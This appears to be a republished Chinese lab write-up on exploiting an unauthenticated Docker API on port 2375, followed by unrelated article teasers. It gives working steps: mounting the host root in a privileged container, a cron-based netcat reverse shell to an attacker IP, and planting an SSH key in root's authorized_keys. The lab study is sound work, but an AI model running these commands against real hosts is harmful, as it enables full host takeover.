vulhub通關筆記1—docker unauthorized-rce

1.docker unauthorized-rce 基本情況

docker swarm是一個將docker集群變成單一虛擬的docker host工具,使用標準的Docker API,能夠方便docker集群的管理和擴展,由docker官方提供:

  1. 需要在每臺機器上安裝docker,并且運行Docker Swarm container
  2. 需要一個或多個Swarm manager(主從)來管理docker 節點
  3. 管理的docker節點上需要開放一個TCP端口(2375)來與Swarm manager通信

當Docker守護進程被配置為監聽網絡端口(通常是TCP端口2375)且未啟用適當的身份驗證機制時,攻擊者可以未經授權訪問Docker API。利用此漏洞,攻擊者可以在主機系統上創建、修改和執行容器,可能導致遠程代碼執行、數據竊取以及完全控制主機系統。

實際上,這也并非是個漏洞,因為官方文檔實際上介紹過上述問題和安全加固方法的(TLS認證或網絡訪問控制)。

?docker -H tcp://192.168.150.133:2375 ps -a? ?等同于 docker ps -a

docker -H tcp://192.168.150.133:2375 pull alpline???等同于 docker pull alpline?

2.如何利用

顯然,如果能夠連接上某個機器的docker api,通過容器逃逸,可以拿到更高的權限。

  • 寫公鑰,ssh登錄
  • 寫定時任務,反彈shell

3.環境搭建

要復現這個漏洞,并且成功實現ssh登錄或反彈shell,實際上還要調整配置細節。

3.1 vulhub docker環境

由于在國內,docker環境最大的問題是docker源的問題,很多docker源已經失效,阿里巴巴的docker鏡像加速只能在阿里巴巴的vps中使用,截止2025年9月,docker鏡像源有用是這個:

{"registry-mirrors": ["https://docker.1panel.live","https://docker.1ms.run","https://dytt.online","https://docker-0.unsee.tech","https://lispy.org","https://docker.xiaogenban1993.com","https://666860.xyz","https://hub.rat.dev","https://docker.m.daocloud.io","https://demo.52013120.xyz","https://proxy.vvvv.ee","https://registry.cyou","https://mirror.ccs.tencentyun.com",]
}

按照github項目上給出的說明,拉取漏洞鏡像,通過http://ip:2375訪問,可驗證漏洞存在。

但是繼續下一步的容器逃逸是難以做到的,因為vulhub起來的是一個有漏洞的容器鏡像,它的2375端口映射到宿主機的2375端口,但宿主機本身的docker api沒有對外公布,因此,即便容器逃逸也只是拿到了容器的完全控制權。

此外,由于容器本身docker源地址網絡不可大,docker pull拉取鏡像也會一直失敗。

3.2 自己搭建有docker 未授權訪問漏洞環境

從清華鏡像源,下載Ubuntu最新版本,安裝好后。

  • 安裝docker
  • 修改docker源
    sudo mkdir -p /etc/docker
    sudo tee /etc/docker/daemon.json <<- 'EOF'
    {"registry-mirrors": ["https://docker.1panel.live","https://docker.1ms.run","https://dytt.online","https://docker-0.unsee.tech","https://lispy.org","https://docker.xiaogenban1993.com","https://666860.xyz","https://hub.rat.dev","https://docker.m.daocloud.io","https://demo.52013120.xyz","https://proxy.vvvv.ee","https://registry.cyou","https://mirror.ccs.tencentyun.com",]
    }EOFsudo systemctl daemon-reload && sudo systemctl restart docker
  • 安裝openssh 。 輸入ssh命令,按照提示部署就行。這一步是必須的,因為默認情況下,Ubuntu系統不會開啟ssh服務。
  • 修改docker,開啟docker api 對外服務?

找到 /usr/lib/systemd/system

修改docker.service服務,注釋掉以前的,保存后重啟docker服務。

#ExecStart=/usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:2375 -H fd:// --containerd=/run/containerd/containerd.sock

sudo systemctl daemon-reload && sudo systemctl restart docker

3.3 攻擊機kali

在清華鏡像源中下載kali,安裝docker。

4.容器逃逸

4.1 拿到文件系統權限

基本思路,就是掛載根目錄到容器中。

首先,使用docker拉取一個小容器,,然后進入這個容器,掛載根目錄。

docker -H tcp://192.168.150.133:2375 pull alpinedocker -H tcp://192.168.150.133:2375 run -it --privileged alpine  /bin/sh 
fdisk -l #一般會看到很多分區,選擇系統分區就行,如果沒有提示哪個是系統分區,是因為容器問題,選大的就行
mkdir /mmt
mount /dev/sda2 /mnt
cd /mnt
touch flag.txt # 可以去宿主機根目錄看看是否有這個文件

也可以直接 進入容器時候就掛載

docker -H tcp://192.168.150.133:2375 run -it -v /:/mnt alpine /bin/sh

4.2? 寫定時任務

Ubuntu的定時任務在/var/spool/cron/crontab/root之中,可以用nc工具建立一個反彈shell

官方說明也是這種方式

* * * * * /usr/bin/nc your-ip 21 -e /bin/sh

這里要特別提醒一下, Ubuntu一般禁止使用root用戶,因此寫入的定時任務大概率不會執行,還有一點是目錄記得是/var/spool/cron/crontab/root,不是文檔里的/etc/crontabs/root。

4.3 寫公鑰

利用kali中的工具生產一堆rsa公鑰,記住公鑰和私鑰的位置:

ssh-keygen -t rsa ??

在原有的文件系統權限下,復制公鑰到公鑰文件中(容器界面)

echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDWcZibJHyQbAimd9n3WLntDkLQvg1F0qcMnwsiuZmbqCbkmr56lM3ETJ/8zYXCZ7gz3RLhlFipoS6E5yEYkeNEcmskF+XHuU5d3hF6UmfxzqS1zvm1x7QA08YbIhNJdy4KtU54yJWLyEl7Smjiz01f/RToYizejtrNukaYAj4jnHGTFwKNrvpQaY4AhjThRitoXhDVmx+WTliBA71YM/YBac2SHjHh1BVMURdhDNtJWDV11tXmaeTnjSU3kX3rrD7KO2AsN7FysHYa3gSrX+cGj2HEfiCTmle53iHXF5WFwza7abOB/Zh/Ku3u9flxUvhQmNh3+2Abp9O7DDGV7Ggp9lsYR9poIvMntBUoYK8rcnrb0KiLcniw9ogkBtMt8Wx1/mbt/JGj9kzVS2yD4Fitltzut5MQZgaTY+CQUzC+rLD5Cjmao6Lnw/vrwWt2lHD4MUWbFUKuNH79XFPuANApTqi/YP0tETyNCLbQSvnHxVTthndiKVP/k28whr1YgFE= root@kali > /host/root/.ssh/authorized_keys

使用私鑰登錄

 ssh -i ~/.ssh/id_rsa root@192.168.150.133   

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/95805.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/95805.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/95805.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

zotero擴容

最近出差&#xff0c;想要把本地的主機上的文件同步到筆記本&#xff0c;發現zotero不夠用&#xff0c;然后尋找了一些zotero擴容的方法&#xff0c;這里記錄一下&#xff0c;方便以后查閱。 zotero擴容創建賬戶登錄賬戶進一步擴容設置Apps Connection設置zoterozotero自帶同步…

Kafka基礎理論

Kafka概述 kafka是一個分布式的基于發布/訂閱模式的消息隊列&#xff0c;主要用于大數據實時處理領域。kafka采取了發布/訂閱模式&#xff0c;消息的發布者不會將消息直接發送給特定的訂閱者&#xff0c;而是將發布的消息分為不同的類別&#xff0c;訂閱者只接受感興趣的消息。…

蒼穹外賣項目實戰(day-5完整版)-記錄實戰教程及問題的解決方法

Redis基本操作及下載安裝包&#xff08;Redis及可視化工具&#xff09;&#xff0c;都在我的上一篇文章&#xff1a;Redis基本知識及簡單操作&#xff0c;這里不再贅述 店鋪營業狀態修改功能 &#xff08;1&#xff09;需求分析與設計 &#xff08;2&#xff09;SpringDataRe…

第R8周:RNN實現阿爾茲海默病診斷

數據集包含2149名患者的廣泛健康信息&#xff0c;每名緩則的ID范圍從4751到6900不等&#xff0c;該數據集包含人口統計詳細信息&#xff0c;生活方式因素、病史、臨床測量、認知和功能評估、癥狀以及阿爾茲海默癥的診斷。 一、準備工作 1、硬件準備 import numpy as np import …

MySQL復制技術的發展歷程

在互聯網應用不斷發展的二十多年里&#xff0c;MySQL 一直是最廣泛使用的開源關系型數據庫之一。它憑借開源、輕量、靈活的優勢&#xff0c;支撐了無數網站、移動應用和企業系統。支撐 MySQL 長期發展的關鍵之一&#xff0c;就是 復制&#xff08;Replication&#xff09;技術。…

C++從字符串中移除前導零

該程序用于去除字符串開頭的零字符。當輸入"0000123456"時&#xff0c;程序會輸出"123456"。核心函數removeZero()通過while循環找到第一個非零字符的位置&#xff0c;然后使用erase()方法刪除前面的所有零。主函數讀取輸入字符串并調用該函數處理。程序簡…

【面試題】C++系列(一)

本專欄文章持續更新&#xff0c;新增內容使用藍色表示。C面向對象的三大特性&#xff1a;封裝&#xff0c;繼承&#xff0c;多態&#xff08;1&#xff09;封裝是將數據和函數組合到一個類里。主要目的是隱藏內部的實現細節&#xff0c;僅暴露必要的接口給外部。通過封裝&#…

當沒辦法實現從win復制東西到Linux虛擬機時的解決辦法

① 先確認是否已安裝bash復制sudo apt list --installed | grep open-vm-tools如果 沒有任何回顯 → 沒裝&#xff0c;跳到 ③如果看到 open-vm-tools 已安裝 → 繼續 ②② 啟動正確的服務&#xff08;單詞別打錯&#xff09;bash復制systemctl status vmtoolsd # 查看…

用Markdown寫自動化用例:Gauge實戰全攻略!

你作為一名自動化測試工程師&#xff0c;正在為一個復雜的Web應用編寫測試腳本&#xff1a;傳統工具要求寫大量代碼&#xff0c;維護起來像解謎游戲&#xff0c;團隊非技術成員完全插不上手。這時&#xff0c;Gauge這個“自動化神器”如魔法般出現——它允許用Markdown寫可讀的…

Unity開發保姆級教程:C#腳本+物理系統+UI交互,3大模塊帶你通關游戲開發

文章目錄基礎概念Unity開發環境搭建版本選擇&#xff1a;為什么2021 LTS是最佳起點&#xff1f;三步安裝&#xff1a;從下載到項目創建界面認知&#xff1a;5分鐘掌握核心操作區配置優化&#xff1a;讓開發更順暢驗證環境&#xff1a;創建你的第一個CubeC#基礎語法與Unity腳本結…

Depth Anything V2論文速讀

這篇論文主要講了兩方面1.為了解決模型在正常標注的現實圖像上訓練的缺陷問題、提出了新的模型訓練數據和訓練方法真實標記圖像存在缺點&#xff1a;標簽噪聲&#xff08;深度傳感器可能存在空洞、玻璃等物體反射導致精度不準確&#xff09;、標簽細節粗糙&#xff08;深度圖邊…

數據庫原理及應用_數據庫管理和保護_第5章數據庫的安全性_理論部分

前言 "<數據庫原理及應用>(MySQL版)".以下稱為"本書"中第5章前6節內容 引入 數據庫的安全性是非常重要的,表現在兩個方面:一數據的訪問權限,二數據的物理安全.本書在這一章前6節基本上都是理論性的內容,選擇其中重要部分進行解讀. 5.1數據庫安全性…

QT6 配置 Copilot插件

下載項目&#xff1a;解壓 GitHub - github/copilot.vim: Neovim plugin for GitHub Copilot Node.js必須安裝 Node.js — Download Node.js 例如先安裝一個qt6 ,qt Cteatror選擇新版本的 設置 效果&#xff0c;注釋里面寫要求&#xff0c;tab同意 #include "mainwindow…

ArcGIS學習-15 實戰-建設用地適宜性評價

選定參評因子 高程坡度河流道路土地利用 確定因子分析標準 以下僅參數僅做展示&#xff0c;并非合理的數值 高程 0-100m&#xff1a;100 分&#xff0c;此高程范圍通常地勢較為平坦&#xff0c;建設成本相對較低&#xff0c;適宜建設。100-200m&#xff1a;70 分&#xff…

[C/C++學習] 7.“旋轉蛇“視覺圖形生成

參考文獻: 童晶. C和C游戲趣味編程[M].人民郵電出版社.2021. 一.弧度制和角度制的轉換 弧度制數值和角度對應表: (PI為圓周率&#xff0c;值為3.1415926)弧度制角度制00PI/630PI/360PI/2902*PI/3120PI1802*PI360二.扇形的繪制 easyx的solidpie( )函數用于在一個矩形區域內繪制…

自然語言處理之PyTorch實現詞袋CBOW模型

在自然語言處理&#xff08;NLP&#xff09;領域&#xff0c;詞向量&#xff08;Word Embedding&#xff09;是將文本轉換為數值向量的核心技術。它能讓計算機“理解”詞語的語義關聯&#xff0c;例如“國王”和“女王”的向量差可能與“男人”和“女人”的向量差相似。而Word2…

TCP, 三次握手, 四次揮手, 滑動窗口, 快速重傳, 擁塞控制, 半連接隊列, RST, SYN, ACK

目錄 TCP 是什么&#xff1a;面向連接 可靠 字節流三次握手&#xff1a;為什么不是兩次四次揮手與 TIME_WAIT&#xff1a;誰等誰序列號/確認號與去重、排序、確認重傳機制&#xff1a;超時重傳與快速重傳滑動窗口與流量控制擁塞控制&#xff1a;慢啟動/擁塞避免/快重傳/快恢…

CentOS 7.2 虛機 ssh 登錄報錯在重啟后無法進入系統

文章目錄前言1. 故障描述2. 故障診斷3. 故障原因4. 解決方案總結前言 上周幫用戶處理了一個 linux 虛擬機在重啟后無法正常進入操作系統的故障&#xff0c;覺得比較有意思&#xff0c;在這里分享給大家。 1. 故障描述 事情的起因是一臺系統版本為 CentOS 7.2 的 VMware 虛擬機…

《從使用到源碼:OkHttp3責任鏈模式剖析》

一 從使用開始0.依賴引入implementation ("com.squareup.okhttp3:okhttp:3.14.7")1.創建OkHttpClient實例方式一&#xff1a;直接使用默認配置的Builder//從源碼可以看出&#xff0c;當我們直接new創建OkHttpClient實例時&#xff0c;會默認給我們配置好一個Builder …

安裝3DS MAX 2026后,無法運行,提示缺少.net core的解決方案

今天安裝了3DS MAX 2026&#xff08;俗稱3DMAX&#xff09;&#xff0c;安裝完畢后死活運行不了。提示如下&#xff1a; 大意是找不到所需的.NET Core 8庫文件。后來搜索了下&#xff0c;各種文章說.NET CORE和.NET FRAMEWORK不是一個東西。需要單獨下載安裝。然后根據提示&…